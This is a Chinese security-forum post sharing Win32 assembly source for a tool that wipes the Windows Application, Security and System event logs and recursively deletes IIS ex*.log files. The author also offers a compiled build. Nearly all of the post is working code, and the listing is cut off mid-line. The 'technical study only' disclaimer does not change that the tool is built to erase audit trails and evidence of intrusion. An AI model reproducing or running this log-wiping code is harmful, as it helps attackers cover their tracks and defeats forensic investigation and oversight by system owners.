[原创]Win32汇编版 app、sys、sec和IIS日志清除工具

文章作者:taiwansee
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

用Win32汇编实现的app、sys、sec和IIS日志清除程序。。
在2000/xp/2003上测试成功。。
现开放源代码,发现bug请跟贴。。
文末有 源代码、makefile、编译好的程序 的打包。

注意:本文中的代码只做技术讨论学习,不可用作非法用途。
源代码:
Code Language : ASM
  1. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  2. ;    CleanAllLogs  清除系统中的app、sys、sec和IIS日志
  3. ;
  4. ;        By taiwansee 2007-11-16
  5. ;
  6. ;已知bug 重启IIS后80服务正常,HTTPS(443端口的)不能访问了。。郁闷。。
  7. ;测试环境是windows xp pro sp2 IIS5.1,如有知道的请告知下,先行谢过!
  8. ; 使用 nmake 或下列命令进行编译和链接:
  9. ; ml /c /coff CleanAllLogs.asm
  10. ; Link /subsystem:windows CleanAllLogs.obj
  11. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  12.     .386
  13.     .model flat, stdcall
  14.     option casemap :none
  15. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  16. ; Include 文件定义
  17. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  18. include    windows.inc
  19. include    user32.inc
  20. includelib  user32.lib
  21. include    kernel32.inc
  22. includelib  kernel32.lib
  23. include    advapi32.inc
  24. includelib  advapi32.lib
  25. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  26. ; 数据段
  27. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  28.     .const
  29. DEBUG   equ    0
  30. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  31. ; 数据段
  32. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  33.     .data
  34. if DEBUG
  35. szCaption  db  'Debug info......',0
  36. szOpenEventLogFailed  db  'szOpenEventLogFailed',0
  37. szClearEventLogFailed  db  'szClearEventLogFailed',0
  38. szCloseEventLogFailed  db  'szCloseEventLogFailed',0
  39.  
  40. szOpenSCManagerFailed  db  'szOpenSCManagerFailed',0  
  41. szOpenServiceFailed  db  'szOpenServiceFailed',0
  42. szQueryServiceStatusFailed  db  'szQueryServiceStatusFailed',0
  43. szControlServiceToStopFailed  db  'szControlServiceToStopFailed',0
  44. szStartServiceFailed  db  'szStartServiceFailed',0
  45.  
  46. szDeleteFileFailed  db  'szDeleteFileFailed',0
  47.  
  48. szDoNextFile    db  'szDoNextFile',0
  49. szBeginDelete    db  'szBeginDelete',0
  50.  
  51. endif
  52.  
  53. ;//////////////清除系统日志///////////////
  54. szApplication  db  'Application',0
  55. szSecurity  db  'Security',0
  56. szSystem  db  'System',0
  57. ;//////////////清除系统日志///////////////
  58.  
  59.  
  60. szIIS    db  'w3svc',0
  61. szFiles    db  '\*.*',0
  62. szLogfiles  db  'ex*.log',0
  63. szXieGang  db  5ch,0
  64. szFilesPath  db  'logfiles',0
  65. szOnePoint  db  '.',0
  66. szTwoPoint  db  '..',0
  67.  
  68. dwISSuffix  dd  0
  69.  
  70.     .data?
  71. dwlpFileName    dd  ?
  72. dwPrefixLength    dd  ?
  73. dwSuffixLength    dd  ?
  74. szPrefix    db  128 dup(?)  ;前缀支持128个字节
  75. szSuffix    db  16 dup(?)  ;后缀支持16个字节
  76. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  77. ; 代码段
  78. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  79.     .code
  80.  
  81.  
  82. ;//////////////清除系统日志///////////////
  83. _CleanSYSLogs  proc  
  84.     local  @hTargetLogs:dword,\
  85.       @ECX:dword,\
  86.       @lpTarget[3]:dword
  87.      
  88.     pushad
  89.    
  90.     lea  esi,@lpTarget
  91.     mov  [esi],offset szApplication
  92.     mov  [esi+4],offset szSecurity
  93.     mov  [esi+8],offset szSystem
  94.      
  95.     mov  ecx,3
  96.     .while  ecx
  97.       mov  @ECX,ecx
  98.       mov  eax,dword ptr @lpTarget[ecx*4-4]
  99.       invoke  OpenEventLog,NULL,eax
  100.       .if  eax!=NULL
  101.         mov  @hTargetLogs,eax
  102.       .else
  103.         if DEBUG
  104.           invoke  MessageBox,NULL,offset szOpenEventLogFailed,\
  105.                 offset szCaption,\
  106.                 MB_OK
  107.         endif
  108.       .endif
  109.       ;清除由@hTargetLogs指定的日志
  110.       invoke  ClearEventLog,@hTargetLogs,NULL
  111.       .if  eax==NULL
  112.         if DEBUG
  113.           invoke  MessageBox,NULL,offset szClearEventLogFailed,\
  114.                 offset szCaption,\
  115.                 MB_OK
  116.         endif
  117.       .endif
  118.       ;关闭日志句柄
  119.       invoke  CloseEventLog,@hTargetLogs
  120.       .if  eax==NULL
  121.         if DEBUG
  122.           invoke  MessageBox,NULL,offset szCloseEventLogFailed,\
  123.                 offset szCaption,\
  124.                 MB_OK
  125.         endif
  126.       .endif
  127.       mov  ecx,@ECX
  128.       dec  ecx
  129.  
  130.     .endw
  131.    
  132.     popad
  133.     ret
  134. _CleanSYSLogs  endp
  135.  
  136. ;//////////////////////////////////////////////////////////////////////////////////////////////////
  137. ;          处理用户定义的搜索字符串       /
  138. ;  支持的格式:xxx*.yyy 、*.yyy (xxx为前缀,*为通配符,yyy为后缀)     /
  139. ;///////////////////////////////////////把前缀保存在szPrefix中,长度保存在dwPrefixLength///////////
  140. ;///////////////////////////////////////把后缀保存在szSuffix中,长度保存在dwSuffixLength///////////
  141. _PrefixAndSubfix  proc
  142.  
  143.       pushad
  144.  
  145.       invoke  RtlZeroMemory,offset szPrefix,sizeof szPrefix
  146.       invoke  RtlZeroMemory,offset szSuffix,sizeof szSuffix
  147.       mov  esi,offset szLogfiles
  148.       lea  edi,szPrefix
  149.       xor  ecx,ecx
  150.   @@:    
  151.       lodsb
  152.       cmp  al,'*'
  153.       jz  @F  ;找到通配符, 前缀收集结束,跳到收集后缀的地方
  154.       inc  ecx
  155.       stosb    ;否则,继续收集前缀信息
  156.       jmp  @B
  157.  
  158.   @@:    
  159.       ;收集后缀信息....
  160.       push  ecx
  161.       push  ecx
  162.       pop  dwPrefixLength    ;保存前缀长度
  163.  
  164.       mov  esi,offset szLogfiles
  165.       lea  edi,szSuffix
  166.  
  167.       add  esi,ecx    ;修改偏移到后缀开始的地方
  168.       add  esi,2
  169.  
  170.       mov  eax,sizeof szLogfiles ;计算szLogfiles长度
  171.  
  172.       sub  eax,ecx
  173.       sub  eax,2    ;计算后缀长度
  174.      
  175.       mov  dword ptr dwSuffixLength,eax  ;保存后缀长度
  176.       mov  ecx,eax      ;后缀长度保存到ecx
  177.       rep  movsb
  178.  
  179.       pop  ecx
  180.       .if  ecx==0;如果相同,说明只看文件后缀了。。后面跳到文件后缀比较的地方
  181.            ;否则,开始处理文件的前后缀信息。。。。。
  182.         mov  dwISSuffix,1
  183.       .endif
  184.        
  185.       if DEBUG
  186.         invoke  MessageBox,NULL,offset szPrefix,offset szCaption,MB_OK
  187.         invoke  MessageBox,NULL,offset szSuffix,offset szCaption,MB_OK
  188.       endif
  189.  
  190.  
  191.       popad
  192.       ret
  193. _PrefixAndSubfix  endp
  194.  
  195.  
  196. _DeleteLogFiles  proc  _szSystemDirectory,_szFilesPath
  197.  
  198.     local  @stFindFileData:WIN32_FIND_DATA,\
  199.       @hFindFile:dword,\
  200.       @szFileNameBuffer[512]:byte,\
  201.       @szFileExtention[100]:byte,\
  202.       @dwFileNameLength:dword,\
  203.       @szFilePrefix[128]:byte,\
  204.       @szFileSuffix[8]:byte,\
  205.       @szSystemDirectoryBackup[256]:byte,\
  206.       @bk[256]:byte
  207.  
  208.      
  209.     pushad
  210.  
  211.     ;_szSystemDirectory ----> %systemroot%\logfiles\xxxx
  212.     invoke  lstrcat,_szSystemDirectory,offset szXieGang
  213.     invoke  lstrcat,_szSystemDirectory,_szFilesPath
  214.     ;///备份一下_szSystemDirectory指向的路径字符串
  215.     ;@szSystemDirectoryBackup ----> %systemroot%\logfiles\xxxx
  216.     invoke  RtlZeroMemory,addr @szSystemDirectoryBackup,sizeof @szSystemDirectoryBackup
  217.     invoke  lstrlen,dword ptr _szSystemDirectory
  218.     inc  eax
  219.     mov  ecx,eax
  220.     mov  esi,dword ptr _szSystemDirectory
  221.     lea  edi,@szSystemDirectoryBackup
  222.     rep  movsb
  223.     ;////////// szFiles ----> \*.*
  224.     ;////////// _szSystemDirectory ----> %systemroot%\logfiles\xxxx\*.*
  225.     invoke  lstrcat,_szSystemDirectory,offset szFiles
  226.  
  227. if DEBUG
  228.     invoke  MessageBox,NULL,_szSystemDirectory,offset szCaption,MB_OK
  229.     invoke  MessageBox,NULL,addr @szSystemDirectoryBackup,offset szCaption,MB_OK
  230. endif
  231.     ;////////// _szSystemDirectory ----> %systemroot%\logfiles\xxxx\*.*
  232.     invoke  FindFirstFile,_szSystemDirectory,addr @stFindFileData
  233.     .if  eax!=INVALID_HANDLE_VALUE
  234.       mov  @hFindFile,eax
  235.       .repeat
  236.         lea  eax,@stFindFileData.cFileName
  237.         mov  dwlpFileName,eax
  238. ;//如果是一个文件夹,则进入递归调用。。。
  239.         .if  @stFindFileData.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY
  240.           invoke  lstrcmp,dwlpFileName,offset szOnePoint
  241.           .if  eax==0
  242.             jmp DoNextFile
  243.           .endif
  244.           invoke  lstrcmp,dwlpFileName,offset szTwoPoint
  245.           .if  eax==0
  246.             jmp DoNextFile
  247.           .endif
  248.         ;////因为下面是传地址调用,所以进去之前保存下@szSystemDirectoryBackup的值
  249.           invoke  RtlZeroMemory,addr @bk,sizeof @bk  ;清空@bk
  250.           invoke  lstrcpyn,addr @bk,addr @szSystemDirectoryBackup,\
  251.               sizeof @szSystemDirectoryBackup
  252.         ;////保存好了后就可以进去了哈。。。///
  253.           invoke  _DeleteLogFiles,addr @szSystemDirectoryBackup,dwlpFileName
  254.  
  255.         ;////出来后恢复下@szSystemDirectoryBackup的值
  256.  
  257.         ;清空@szSystemDirectoryBackup
  258.           invoke  RtlZeroMemory,addr @szSystemDirectoryBackup,\
  259.                  sizeof @szSystemDirectoryBackup
  260.           invoke  lstrcpyn,addr @szSystemDirectoryBackup,addr @bk,\
  261.               sizeof @bk
  262.  
  263.         .else
  264. ;//否则查看是否是匹配文件,如果是就删除,否则跳过。。。
  265. ;///////////////////处理找到的文件的前缀、后缀信息///////////////////////////////////
  266.         .if  dwISSuffix==1
  267.           jmp @F
  268.         .endif
  269.          
  270.           mov  eax,sizeof @stFindFileData.cFileName
  271.           mov  dword ptr @dwFileNameLength,eax
  272.           cmp  dwPrefixLength,eax
  273.          
  274.           jg  DoNextFile  ;前缀比文件名都长,肯定不是目标文件了,跳到循环末尾
  275.          
  276.  
  277.           invoke  RtlZeroMemory,addr @szFilePrefix,sizeof @szFilePrefix
  278.           ;下面开始比较前缀与文件前缀了
  279.           lea  esi,@stFindFileData.cFileName
  280.           lea  edi,@szFilePrefix
  281.           mov  ecx,dwPrefixLength
  282.           rep  movsb
  283.  
  284.           invoke  lstrcmp,offset szPrefix,addr @szFilePrefix
  285.           .if  eax!=0
  286.             jmp DoNextFile
  287.           .endif
  288.  
  289.       @@:
  290.           mov  eax,sizeof @stFindFileData.cFileName
  291.           mov  dword ptr @dwFileNameLength,eax
  292.           ;//////否则,说明前缀匹配,开始看后缀,先采集文件后缀信息///
  293.           invoke  RtlZeroMemory,addr @szFileSuffix,sizeof @szFileSuffix
  294.           lea  esi,@stFindFileData.cFileName
  295.           lea  edi,@szFileSuffix
  296.           xor  ecx,ecx
  297.  
  298.       @@:    lodsb
  299.           inc  ecx
  300.           cmp  al,'.'
  301.           jnz  @B
  302.           sub  @dwFileNameLength,ecx
  303.           mov  ecx,@dwFileNameLength
  304.           rep  movsb
  305.           ;//开始比较后缀与文件后缀,如果相同,则可以执行删除动作
  306.           ;//否则,跳到循环末尾
  307.  
  308.           invoke  lstrcmp,offset szSuffix,addr @szFileSuffix
  309.           .if  eax!=0
  310.             jmp DoNextFile
  311.           .endif
  312.  
  313. ;///////////文件通过上面的过滤后,符合条件的就可以被执行删除动作了/////////////////////
  314.  
  315.           ;@szSystemDirectoryBackup ----> %systemroot%\logfiles\xxx
  316.           ;@szFileNameBuffer ----> %systemroot%\logfiles\xxx
  317.           invoke  lstrcpy,addr @szFileName